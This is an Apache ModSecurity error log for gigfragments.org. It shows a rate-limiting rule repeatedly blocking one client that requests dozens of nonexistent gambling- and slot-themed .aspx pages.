[Mon Feb 23 13:23:09.416509 2026] [:error] [pid 39540:tid 39589] [client 54.38.38.130:45366] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZvkPbsgm9aTWhlRScIQbwAAAdQ"]
[Mon Feb 23 13:23:11.645854 2026] [:error] [pid 29909:tid 29929] [client 54.38.38.130:45378] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZvkPz9oc2QzltksUk6-AwAAARI"]
[Mon Feb 23 13:23:13.722585 2026] [:error] [pid 25380:tid 25385] [client 54.38.38.130:45384] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZvkQaKrc8yFQ8fy78qbEQAAAMM"]
[Mon Feb 23 13:23:15.925428 2026] [:error] [pid 39540:tid 39580] [client 54.38.38.130:47726] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZvkQ7sgm9aTWhlRScIQeAAAAcs"]
[Mon Feb 23 13:23:18.260310 2026] [:error] [pid 25380:tid 25401] [client 54.38.38.130:47728] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZvkRqKrc8yFQ8fy78qbGQAAANM"]
[Mon Feb 23 13:23:20.302715 2026] [:error] [pid 25294:tid 25362] [client 54.38.38.130:47730] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aZvkSCRCFB3CqIo_jfabRgAAAE4"]
[Mon Feb 23 13:23:22.209707 2026] [:error] [pid 25294:tid 25334] [client 54.38.38.130:47746] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aZvkSiRCFB3CqIo_jfabRwAAAEM"]
[Mon Feb 23 13:23:24.201730 2026] [:error] [pid 39540:tid 39591] [client 54.38.38.130:47758] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aZvkTLsgm9aTWhlRScIQiAAAAdY"]
[Mon Feb 23 13:23:26.301924 2026] [:error] [pid 25380:tid 25384] [client 54.38.38.130:43958] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZvkTqKrc8yFQ8fy78qbIQAAAMI"]
[Mon Feb 23 13:23:28.729025 2026] [:error] [pid 39640:tid 39682] [client 54.38.38.130:43962] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aZvkUNsK--eVCgzvvud_rAAAAow"]
[Mon Feb 23 13:23:30.913506 2026] [:error] [pid 39540:tid 39579] [client 54.38.38.130:43964] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aZvkUrsgm9aTWhlRScIQlAAAAco"]
[Mon Feb 23 13:23:33.140074 2026] [:error] [pid 25380:tid 25402] [client 54.38.38.130:43978] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZvkVaKrc8yFQ8fy78qbMgAAANQ"]
[Mon Feb 23 13:23:35.135092 2026] [:error] [pid 39639:tid 39667] [client 54.38.38.130:43988] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZvkVxpFkMoMi8uTUUNBSQAAAlg"]
[Mon Feb 23 13:23:37.178490 2026] [:error] [pid 39540:tid 39581] [client 54.38.38.130:37610] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aZvkWbsgm9aTWhlRScIQtQAAAcw"]
[Mon Feb 23 13:23:39.204246 2026] [:error] [pid 25380:tid 25390] [client 54.38.38.130:37620] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aZvkW6Krc8yFQ8fy78qbgwAAAMg"]
[Mon Feb 23 13:23:41.519023 2026] [:error] [pid 39540:tid 39591] [client 54.38.38.130:37628] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aZvkXbsgm9aTWhlRScIQugAAAdY"]
[Mon Feb 23 13:23:43.442223 2026] [:error] [pid 39639:tid 39658] [client 54.38.38.130:37644] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aZvkXxpFkMoMi8uTUUNBVwAAAk8"]
[Mon Feb 23 13:23:46.111044 2026] [:error] [pid 25293:tid 25306] [client 54.38.38.130:35010] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aZvkYuL9XfBf66iHi_eYXgAAAAc"]
[Mon Feb 23 13:24:24.506254 2026] [:error] [pid 39540:tid 39589] [client 54.38.38.130:35018] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20osaka.aspx"] [unique_id "aZvkiLsgm9aTWhlRScIRPgAAAdQ"]
[Mon Feb 23 13:24:26.530223 2026] [:error] [pid 39540:tid 39592] [client 54.38.38.130:58802] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aZvkirsgm9aTWhlRScIRSQAAAdc"]
[Mon Feb 23 13:24:28.615109 2026] [:error] [pid 25380:tid 25404] [client 54.38.38.130:58816] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZvkjKKrc8yFQ8fy78qbvgAAANY"]
[Mon Feb 23 13:24:30.577889 2026] [:error] [pid 25294:tid 25350] [client 54.38.38.130:58832] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZvkjiRCFB3CqIo_jfabaQAAAEg"]
[Mon Feb 23 13:24:32.447711 2026] [:error] [pid 39640:tid 39685] [client 54.38.38.130:58844] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZvkkNsK--eVCgzvvueAGwAAAo8"]
[Mon Feb 23 13:24:34.771324 2026] [:error] [pid 39540:tid 39576] [client 54.38.38.130:58854] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZvkkrsgm9aTWhlRScIRYAAAAcc"]
[Mon Feb 23 13:24:36.869608 2026] [:error] [pid 25295:tid 25339] [client 54.38.38.130:53988] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZvklI2Av4J1Jnqi7yKpjQAAAIg"]
[Mon Feb 23 13:24:38.957347 2026] [:error] [pid 39540:tid 39587] [client 54.38.38.130:53990] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZvklrsgm9aTWhlRScIRaQAAAdI"]
[Mon Feb 23 13:24:40.931570 2026] [:error] [pid 39540:tid 39585] [client 54.38.38.130:54006] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZvkmLsgm9aTWhlRScIRbwAAAdA"]
[Mon Feb 23 13:24:43.100051 2026] [:error] [pid 39640:tid 39671] [client 54.38.38.130:54034] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZvkm9sK--eVCgzvvueAOgAAAoE"]
[Mon Feb 23 13:24:45.037751 2026] [:error] [pid 39540:tid 39578] [client 54.38.38.130:54040] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZvknbsgm9aTWhlRScIReAAAAck"]
[Mon Feb 23 13:24:46.958744 2026] [:error] [pid 25380:tid 25404] [client 54.38.38.130:44946] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aZvknqKrc8yFQ8fy78qb3QAAANY"]
[Mon Feb 23 13:24:48.427722 2026] [:error] [pid 29909:tid 29933] [client 54.38.38.130:44956] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aZvkoD9oc2QzltksUk6-DgAAARY"]
[Mon Feb 23 13:24:49.107518 2026] [:error] [pid 25380:tid 25382] [client 54.38.38.130:44958] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aZvkoaKrc8yFQ8fy78qb4gAAAMA"]
[Mon Feb 23 13:24:51.185946 2026] [:error] [pid 39504:tid 39520] [client 54.38.38.130:44966] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aZvko3LcHpOlI9gwwJr12AAAAU4"]
[Mon Feb 23 13:24:52.422325 2026] [:error] [pid 25380:tid 25383] [client 54.38.38.130:44968] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aZvkpKKrc8yFQ8fy78qb5QAAAME"]
[Mon Feb 23 13:24:53.166470 2026] [:error] [pid 39639:tid 39650] [client 54.38.38.130:44970] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aZvkpRpFkMoMi8uTUUNBgAAAAkc"]
[Mon Feb 23 13:24:55.428309 2026] [:error] [pid 39538:tid 39556] [client 54.38.38.130:52014] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aZvkpy4Zk8-cQOG3Zno91QAAAY4"]
[Mon Feb 23 13:24:57.544260 2026] [:error] [pid 39540:tid 39581] [client 54.38.38.130:52024] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aZvkqbsgm9aTWhlRScIRjQAAAcw"]
[Mon Feb 23 13:24:59.629540 2026] [:error] [pid 25380:tid 25384] [client 54.38.38.130:52040] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aZvkq6Krc8yFQ8fy78qb8QAAAMI"]
[Mon Feb 23 13:25:01.572216 2026] [:error] [pid 39540:tid 39576] [client 54.38.38.130:52042] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aZvkrbsgm9aTWhlRScIRmQAAAcc"]
[Mon Feb 23 13:25:03.625106 2026] [:error] [pid 39640:tid 39689] [client 54.38.38.130:52050] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aZvkr9sK--eVCgzvvueATAAAApM"]
[Mon Feb 23 13:25:05.506660 2026] [:error] [pid 25294:tid 25358] [client 54.38.38.130:46302] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZvksSRCFB3CqIo_jfabjAAAAEw"]
[Mon Feb 23 13:25:07.683465 2026] [:error] [pid 39640:tid 39670] [client 54.38.38.130:46318] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aZvks9sK--eVCgzvvueAUgAAAoA"]
[Mon Feb 23 13:25:09.717287 2026] [:error] [pid 39640:tid 39686] [client 54.38.38.130:46320] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aZvktdsK--eVCgzvvueAVQAAApA"]
[Mon Feb 23 13:25:11.506739 2026] [:error] [pid 39540:tid 39570] [client 54.38.38.130:46330] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aZvkt7sgm9aTWhlRScIRpgAAAcE"]
[Mon Feb 23 13:25:13.532355 2026] [:error] [pid 39640:tid 39683] [client 54.38.38.130:46332] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aZvkudsK--eVCgzvvueAVwAAAo0"]
[Mon Feb 23 13:25:15.605507 2026] [:error] [pid 39538:tid 39560] [client 54.38.38.130:43492] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aZvkuy4Zk8-cQOG3Zno93wAAAZI"]
[Mon Feb 23 13:25:17.620021 2026] [:error] [pid 39540:tid 39591] [client 54.38.38.130:43506] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZvkvbsgm9aTWhlRScIRzgAAAdY"]
[Mon Feb 23 13:25:19.614318 2026] [:error] [pid 39540:tid 39571] [client 54.38.38.130:43516] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aZvkv7sgm9aTWhlRScIR2QAAAcI"]
[Mon Feb 23 13:25:56.153003 2026] [:error] [pid 25295:tid 25336] [client 54.38.38.130:43520] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZvk5I2Av4J1Jnqi7yKpzQAAAIU"]
[Mon Feb 23 13:25:58.163840 2026] [:error] [pid 39640:tid 39671] [client 54.38.38.130:43170] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZvk5tsK--eVCgzvvueAhQAAAoE"]
[Mon Feb 23 13:26:00.059793 2026] [:error] [pid 39540:tid 39573] [client 54.38.38.130:43178] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZvk6Lsgm9aTWhlRScISGQAAAcQ"]
[Mon Feb 23 13:26:02.160385 2026] [:error] [pid 29909:tid 29915] [client 54.38.38.130:43180] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZvk6j9oc2QzltksUk6-FgAAAQQ"]
[Mon Feb 23 13:26:03.946326 2026] [:error] [pid 25294:tid 25356] [client 54.38.38.130:43184] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZvk6yRCFB3CqIo_jfabswAAAEs"]
[Mon Feb 23 13:26:05.965955 2026] [:error] [pid 39640:tid 39693] [client 54.38.38.130:50526] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZvk7dsK--eVCgzvvueAigAAApc"]
[Mon Feb 23 13:26:07.996630 2026] [:error] [pid 25294:tid 25343] [client 54.38.38.130:50534] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aZvk7yRCFB3CqIo_jfabuwAAAEU"]
